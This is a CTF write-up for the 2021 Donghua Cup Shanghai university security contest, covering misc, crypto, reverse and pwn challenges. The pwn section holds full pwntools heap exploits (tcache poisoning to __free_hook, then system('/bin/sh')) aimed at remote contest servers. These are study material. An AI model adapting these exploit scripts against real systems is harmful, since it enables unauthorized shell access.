2021东华杯 第七届上海市大学生网络安全竞赛 部分wp
2021东华杯
第七届上海市大学生网络安全竞赛 部分wp
misc
checkin
签到题,utf-7解码一下即可
+AGYAbABhAGcAewBkAGgAYgBfADcAdABoAH0-
flag{dhb_7th}
JumpJumpTiger
给一个exe,逆向手狂喜,ida分析
nt __cdecl main(int argc, const char **argv, const char **envp)
{
int v4[100]; // [rsp+20h] [rbp-60h]
int v5[101]; // [rsp+1B0h] [rbp+130h]
int v6; // [rsp+344h] [rbp+2C4h]
int v7; // [rsp+348h] [rbp+2C8h]
int i; // [rsp+34Ch] [rbp+2CCh]
_main();
printf("This is your hint!!!");
v7 = 0;
v6 = 0;
for ( i = 0; i <= 99; ++i )
{
if ( i & 1 )
v4[v6++] = i;
else
v5[v7++] = i;
}
return 0;
}
这个很明显就是分离奇偶位,但是分离什么?字符串搜索发现一串很长的字符串,类似base64,猜测可能是图片
这段字符串很长,长到超出ida的最大行数,改用strings提取字符串至文本,然后编辑工具提取出这部分保存为txt文件,脚本处理一下
from base64 import *
a = ''
b = ''
with open('hint2.txt','r') as f:
text = f.read()
#print(text)
for i in range(len(text)):
if i & 1:
a += text[i]
else:
b += text[i]
#print(a)
print(b)
with open('1.jpg','wb') as f1:
f1.write(b64decode(b))
with open('1.png','wb') as f2:
f2.write(b64decode(a))
两个图片是一样的,盲水印攻击得到flag
project
给了很多文件,还以为是工控,但是发现很多文件的日期都是很久前的了,猜测大概率这些文件是用不到的,发现一个备份文件,解压后得到一个文件,一部分内容为
其他两部分分别为可打印字符和base64图片,先解密base64
表情包文化,是随着网络社交沟通的增多出现的一种主流文化。一个人的表情包是其隐藏起来的真我,一个国家的表情包里能看到这个国家的表情。有时候,表情包表达的是不能道破的真实想法和感受,语言和文字的尽头,就是表情包施展的空间。
表情包是网络语言的一种进化,它的产生和流行与其特定的“生存环境”有关。其追求醒目、新奇、谐谑等效果的特点,与年轻人张扬个性和搞怪的心理相符。
表情包之所以能够大范围地传播,是因为其弥补了文字交流的枯燥和态度表达不准确的弱点,有效地提高了沟通效率。部分表情包具有替代文字的功能,还可以节省打字时间。随着智能手机的全面普及和社交应用软件的大量使用,表情包已经高频率地出现在人们的网络聊天对话当中。
发现不可见字符,零宽解密http://330k.github.io/misc_tools/unicode_steganography.html得到:hurryup,可打印字符部分和base64相同,在此不累赘
base64转图片,得到jpg文件,猜测可能是前面解出来的作为密钥,尝试jphswin,oursecret等工具,最终在oursecret发现flag
where_can_find_code
编辑器打开asc文件,发现一串很像是flag的字符串:
<font>
format("Translate the letter J into I");
dpeb{e58ca5e2-2c51-4eef-5f5e-33539364deoa}
</font>
应该是某种换位密码,结合上面的话,应该是 Playfair Cipher ,那想办法得到密钥,文件类似是asc,尝试wb解密得到
20810842042108421
数字仅有20148组成,云影密码无疑,解密后得到 BINGO ,然后在线网站解一下就行
http://rumkin.com/tools/cipher/playfair.php
密码学
fermat's revenge
给了附件
from Crypto.Util.number import *
f = open('flag.txt', 'rb')
m = bytes_to_long(f.read())
f.close()
e = 65537
p = getPrime(1024)
q = getPrime(1024)
n = p * q
c = pow(m, e, n)
hint = pow(1010 * p + 1011, q, n)
f = open('cipher.txt', 'w')
f.write(f'n={n}\n')
f.write(f'c={c}\n')
f.write(f'hint={hint}\n')
f.close()
这个给的条件比较少,数学推理开始
hint = (1010*p+1011)^q mod n
先二项式展开化简一下
hint = (1010*p)^q+1011^q mod p
= 1011^q mod p
= 1011^pq mod p
存在:1011^pq = 1011^p mod p
所以p | hint-1011^n,
又因为p | n
所以q = gcd(N,hint-1011^n)
所以N可被分解
代码如下
from gmpy2 import *
from Crypto.Util.number import *
n=17329555687339057933030881774167606066714011664369940819755094697939414110116183129515036417930928381309923593306884879686961969722610261114896200690291299753284120079351636102685226435454462581742248968732979816910255384339882675593423385529925794918175056364069416358095759362865710837992174966213332948216626442765218056059227797575954980861175262821459941222980957749720949816909119263643425681517545937122980872133309062049836920463547302193585676588711888598357927574729648088370609421283416559346827315399049239357814820660913395553316721927867556418628117971385375472454118148999848258824753064992040468588511
c=2834445728359401954509180010018035151637121735110411504246937217024301211768483790406570069340718976013805438660602396212488675995602673107853878297024467687865600759709655334014269938893756460638324659859693599161639448736859952750381592192404889795107146077421499823006298655812398359841137631684363428490100792619658995661630533920917942659455792050032138051272224911869438429703875012535681896010735974555495618216882831524578648074539796556404193333636537331833807459066576022732553707927018332334884641370339471969967359580724737784159811992637384360752274204462169330081579501038904830207691558009918736480389
hint=2528640120640884291705022551567142949735065756834488816429783990402901687493207894594113717734719036126087363828359113769238235697788243950392064194097056579105620723640796253143555383311882778423540515270957452851097267592400001145658904042191937942341842865936546187498072576943297002184798413336701918670376291021190387536660070933700475110660304652647893127663882847145502396993549034428649569475467365756381857116208029508389607872560487325166953770793357700419069480517845456083758105937644350450559733949764193599564499133714282286339445501435278957250603141596679797055178139335763901195697988437542180256184
e = 65537
q = gcd(n,hint-pow(1011,n,n))
#print(q)
p = n//q
Fai = (p-1)*(q-1)
d = invert(e,Fai)
m = pow(c,d,n)
print(long_to_bytes(m))
#flag{1d2f28834ecxx3bxxx0xxxxxxxxe}
The_RSA
未解出
My_CrptoSystem
未解出
BlockEncrypt
未解出
reverse
ooo
64位linux程序,ida分析一下
其中比较的函数是一个比较的过程,可以动态调试稍微看一下
大概就是取低字节比较,要求的输入flag先被异或处理,然后和取低字节的dword数组比较,相等就可以,dword的数据为
0x6,0x10C,0x201,0x307,0x41B,0x551,0x653,0x706,0x853,0x955,0x0A56,0x0B56,0x0C53,0x0D4D,0x0E55,0x0F50,0x1001,0x1154,0x124D,0x1354,0x1457,0x1557,0x1602,0x174D,0x1852,0x1957,0x1A58,0x1B02,0x1C4D,0x1D02,0x1E57,0x1F51,0x2051,0x2150,0x2252,0x2356,0x2406,0x2506,0x2657,0x2701,0x2804,0x291D
然后flag被异或的部分我们可以直接爆破求出
a = [0x6,0x10C,0x201,0x307,0x41B,0x551,0x653,0x706,0x853,0x955,0x0A56,0x0B56,0x0C53,0x0D4D,0x0E55,0x0F50,0x1001,0x1154,0x124D,0x1354,0x1457,0x1557,0x1602,0x174D,0x1852,0x1957,0x1A58,0x1B02,0x1C4D,0x1D02,0x1E57,0x1F51,0x2051,0x2150,0x2252,0x2356,0x2406,0x2506,0x2657,0x2701,0x2804,0x291D]
flag = ''
for i in range(127):
for j in a:
flag += chr((i^j)&0xff)
if 'flag{' in flag:
print('Now is:',hex(i))
print(flag)
break
感觉是非预期
mod
ida分析,跟进主函数
跟进关键函数
这里并没有发现什么,程序貌似没有执行完就结束了,看一下汇编
这里发现ida解析出了问题,这里应该是个花指令,上od去掉花指令,这花指令主要是伪造了参数的末尾,将其全部nop就行,然后重新ida分析,得到新的函数
此外,sub_4011A0函数也有花指令,不去掉的话,分析会出错
最终可以判定此函数为主要算法函数
int __cdecl sub_4011A0(int a1, int a2, int a3)
{
int result; // eax
int v4; // [esp+14h] [ebp-40h]
memset(&v4, 0xCCu, 0x40u);
*(_BYTE *)(a3 + 4 * (a2 / 3)) = byte_405018[(4 * (*(_BYTE *)(a2 + a1 + 2) & 3) | *(_BYTE *)(a2 + a1 + 1) & 0x30 | *(_BYTE *)(a2 + a1) & 0xC0) >> 2];
*(_BYTE *)(a3 + 4 * (a2 / 3) + 1) = byte_405018[(4 * (*(_BYTE *)(a2 + a1) & 3) | *(_BYTE *)(a2 + a1 + 2) & 0x30 | *(_BYTE *)(a2 + a1 + 1) & 0xC0) >> 2];
*(_BYTE *)(a3 + 4 * (a2 / 3) + 2) = byte_405018[(4 * (*(_BYTE *)(a2 + a1 + 1) & 3) | *(_BYTE *)(a2 + a1) & 0x30 | *(_BYTE *)(a2 + a1 + 2) & 0xC0) >> 2];
result = a2 / 3;
*(_BYTE *)(a3 + 4 * (a2 / 3) + 3) = byte_405018[(*(_BYTE *)(a2 + a1 + 2) & 0xC | 4 * *(_BYTE *)(a2 + a1 + 1) & 0x30 | 16 * *(_BYTE *)(a2 + a1) & 0xC0) >> 2];
return result;
}
结合发现的字符串,这个算法应该是魔改的base64算法,base64表也知道,z3解一下
https://www.freebuf.com/column/232002.html
import z3
'''
*(_BYTE *)(a3 + 4 * (a2 / 3)) = byte_405018[(4 * (*(_BYTE *)(a2 + a1 + 2) & 3) | *(_BYTE *)(a2 + a1 + 1) & 0x30 | *(_BYTE *)(a2 + a1) & 0xC0) >> 2];
*(_BYTE *)(a3 + 4 * (a2 / 3) + 1) = byte_405018[(4 * (*(_BYTE *)(a2 + a1) & 3) | *(_BYTE *)(a2 + a1 + 2) & 0x30 | *(_BYTE *)(a2 + a1 + 1) & 0xC0) >> 2];
*(_BYTE *)(a3 + 4 * (a2 / 3) + 2) = byte_405018[(4 * (*(_BYTE *)(a2 + a1 + 1) & 3) | *(_BYTE *)(a2 + a1) & 0x30 | *(_BYTE *)(a2 + a1 + 2) & 0xC0) >> 2];
result = a2 / 3;
*(_BYTE *)(a3 + 4 * (a2 / 3) + 3) = byte_405018[(*(_BYTE *)(a2 + a1 + 2) & 0xC | 4 * *(_BYTE *)(a2 + a1 + 1) & 0x30 | 16 * *(_BYTE *)(a2 + a1) & 0xC0) >> 2];
'''
o = 'ABCDFEGH1JKLRSTMNP0VWQUXY2a8cdefijklmnopghwxyqrstuvzOIZ34567b9+/'
n = '2aYcdfL2fS1BTMMF1RSeMTTASS1OJ8RHTJdBYJ2STJfNMSMAYcKUJddp'
flag = ''
for i in range(0, len(n), 4):
_0 = o.index(n[i + 0])
_1 = o.index(n[i + 1])
_2 = o.index(n[i + 2])
_3 = o.index(n[i + 3])
a1 = [z3.BitVec("a{}".format(j), 8) for j in range(3)]
#print(a1)
sol = z3.Solver()
sol.add(((4 * (a1[2] & 3)) | a1[1] & 0x30 | a1[0] & 0xC0) == _0 << 2)
sol.add(((4 * (a1[0] & 3)) | a1[2] & 0x30 | a1[1] & 0xC0) == _1 << 2)
sol.add(((4 * (a1[1] & 3)) | a1[0] & 0x30 | a1[2] & 0xC0) == _2 << 2)
sol.add((a1[2] & 12 | (4 * a1[1]) & 0x30 | (16 * a1[0]) & 0xC0) == _3 << 2)
assert sol.check() == z3.sat
solve = sol.model()
flag += "".join([chr(solve.eval(j).as_long()) for j in a1])
print(flag)
得到flag
hell'sgate
未解出,待复现
hello
反编译失败,环境问题,待研究
pwn
bg3
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
64位程序,保护全部开启,堆溢出,泄露libc后,修改tcabin的fd为free_hook,然后写进system函数即可
from pwn import *
context(os = "linux", arch = "amd64",log_level= "debug")
context.terminal = ['tmux', 'splitw', '-h']
#r = process(['/root/LibcSearcher/glibc-all-in-one/libs/2.31-0ubuntu9.2_amd64/ld-2.31.so','./bg3_pwn'],env={'LD_PRELOAD':'/root/LibcSearcher/glibc-all-in-one/libs/2.31-0ubuntu9.2_amd64/libc-2.31.so'})
r = remote('47.104.143.202',25997)
libc = ELF('./bg3_pwn.so')
#libc = ELF('/root/LibcSearcher/glibc-all-in-one/libs/2.31-0ubuntu9.2_amd64/libc-2.31.so')
def menu(choice):
r.recvuntil('Select:\n')
r.sendline(str(choice))
def add(idx,size):
menu(1)
r.recvuntil('Index:\n')
r.sendline(str(idx))
r.recvuntil('PayloadLength:\n')
r.sendline(str(size))
def edit(idx,content):
menu(2)
r.recvuntil('Index:\n')
r.sendline(str(idx))
r.recvuntil('BugInfo:\n')
r.send(content)
def show(idx):
menu(3)
r.recvuntil('Index:\n')
r.sendline(str(idx))
def delete(idx):
menu(4)
r.recvuntil('Index:\n')
r.sendline(str(idx))
for i in range(9):
add(i,0x88)#0-8
for i in range(7,0,-1):
delete(i)#7-1
delete(0)
add(9,0x78)
show(9)
libc_base = u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x1ebc60
print('libc_base',hex(libc_base))
add(0,0x18)
add(1,0x18)
add(2,0x18)
delete(2)
delete(1)
free_hook = libc_base+libc.sym['__free_hook']
print('free_hook',hex(free_hook))
edit(0,'a'*0x18+p64(0x21)+p64(free_hook)+'\n')
add(10,0x18)
edit(10,'/bin/sh'+'\n')
system = libc_base+libc.sym['system']
print('system',hex(system))
add(11,0x18)
edit(11,p64(system)+'\n')
delete(10)
#gdb.attach(r)
r.interactive()
cpp1
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
64位程序,保护全开,没啥好说的
from pwn import *
context(os = "linux", arch = "amd64")#,log_level= "debug")
context.terminal = ['tmux', 'splitw', '-h']
#r = process(['/root/LibcSearcher/glibc-all-in-one/libs/2.31-0ubuntu9.2_amd64/ld-2.31.so','./cpp1_pwn'],env={'LD_PRELOAD':'/root/LibcSearcher/glibc-all-in-one/libs/2.31-0ubuntu9.2_amd64/libc-2.31.so'})
#libc = ELF('/root/LibcSearcher/glibc-all-in-one/libs/2.31-0ubuntu9.2_amd64/libc-2.31.so')
r = remote('47.104.143.202',43359)
libc = ELF('./cpp1_pwn')
def menu(choice):
r.recvuntil('>>\n')
r.sendline(str(choice))
def add(idx,size):
menu(1)
r.recvuntil(">>\n")
r.sendline(str(idx))
r.recvuntil(">>\n")
r.sendline(str(size))
def edit(idx,content):
menu(2)
r.recvuntil(">>\n")
r.sendline(str(idx))
r.recvuntil(">>\n")
r.send(content)
def show(idx):
menu(3)
r.recvuntil(">>\n")
r.sendline(str(idx))
def delete(idx):
menu(4)
r.recvuntil(">>\n")
r.sendline(str(idx))
for i in range(9):
add(i,0x88)
for i in range(7,0,-1):
delete(i)
delete(0)
add(9,0x78)
show(9)
libc_base = u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x1ebc60
print('libc_base',hex(libc_base))
add(0,0x18)
add(1,0x18)
add(2,0x18)
delete(2)
delete(1)
free_hook = libc_base+libc.sym['__free_hook']
print('free_hook',hex(free_hook))
edit(0,'a'*0x18+p64(0x21)+p64(free_hook)+'\n')
add(10,0x18)
edit(10,'/bin/sh'+'\n')
system = libc_base+libc.sym['system']
print('system',hex(system))
add(11,0x18)
edit(11,p64(system)+'\n')
delete(10)
#gdb.attach(r)
r.interactive()
gcc2
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
64位程序,保护全开,存在uaf漏洞,并且申请最大堆不超过0x67,因为这个造成大小的限制,可以伪造一个fake堆,让其溢出到下一个chunk的size,修改其达到满足进入unsortedbin的大小,然后填满后再次释放即可进入unsortedbin,进而泄露libc,后面就是写free_hook
疑点:最开始是打算泄露堆地址,然后分配到 tcache控制块来泄露libc,但是本地调试是不成功的,原因待探究
from pwn import *
context(os = "linux", arch = "amd64")#,log_level= "debug")
context.terminal = ['tmux', 'splitw', '-h']
#r = process(['/root/LibcSearcher/glibc-all-in-one/libs/2.31-0ubuntu9.2_amd64/ld-2.31.so','./gcc2_pwn'],env={'LD_PRELOAD':'/root/LibcSearcher/glibc-all-in-one/libs/2.31-0ubuntu9.2_amd64/libc-2.31.so'})
#libc = ELF('/root/LibcSearcher/glibc-all-in-one/libs/2.31-0ubuntu9.2_amd64/libc-2.31.so')
r = remote('47.104.143.202',15348)
libc = ELF('./gcc2.so')
def menu(choice):
r.recvuntil('>>\n')
r.sendline(str(choice))
def add(idx,size):
menu(1)
r.recvuntil(">>\n")
r.sendline(str(idx))
r.recvuntil(">>\n")
r.sendline(str(size))
def edit(idx,content):
menu(2)
r.recvuntil(">>\n")
r.sendline(str(idx))
r.recvuntil(">>\n")
r.send(content)
def show(idx):
menu(3)
r.recvuntil(">>\n")
r.sendline(str(idx))
def delete(idx):
menu(4)
r.recvuntil(">>\n")
r.sendline(str(idx))
add(0,0x67)
add(1,0x67)
add(2,0x67)
add(3,0x67)
add(4,0x18)
delete(1)
edit(1,p64(0)+p64(0x71)+'\n')
delete(0)
show(0)
heap_base = u64(r.recvuntil('\n').strip().ljust(8,'\x00'))
print('heap_base',hex(heap_base))
fake = heap_base+0x10
edit(0,p64(fake)+'\n')
add(5,0x67)
add(6,0x67)
edit(6,'a'*0x58+'\xe1'+'\n')
#edit(2,'aaa'+'\n')
#delete(2)
for i in range(7):
edit(2,p64(0)+'\n')
delete(2)
edit(2,p64(0)+'\n')
delete(2)
show(2)
libc_base = u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x1ebbe0
print(hex(libc_base))
add(7,0x18)
add(8,0x18)
delete(7)
delete(8)
free_hook = libc_base+libc.sym['__free_hook']
print('free_hook',hex(free_hook))
edit(8,p64(free_hook)+'\n')
add(9,0x18)
add(10,0x18)
system = libc_base+libc.sym['system']
print('system',hex(system))
edit(10,p64(system)+'\n')
edit(3,'/bin/sh'+'\n')
delete(3)
#gdb.attach(r)
r.interactive()
boom_script
未解出,待研究
web
非web选手,可见其他师傅的wp,我是个FW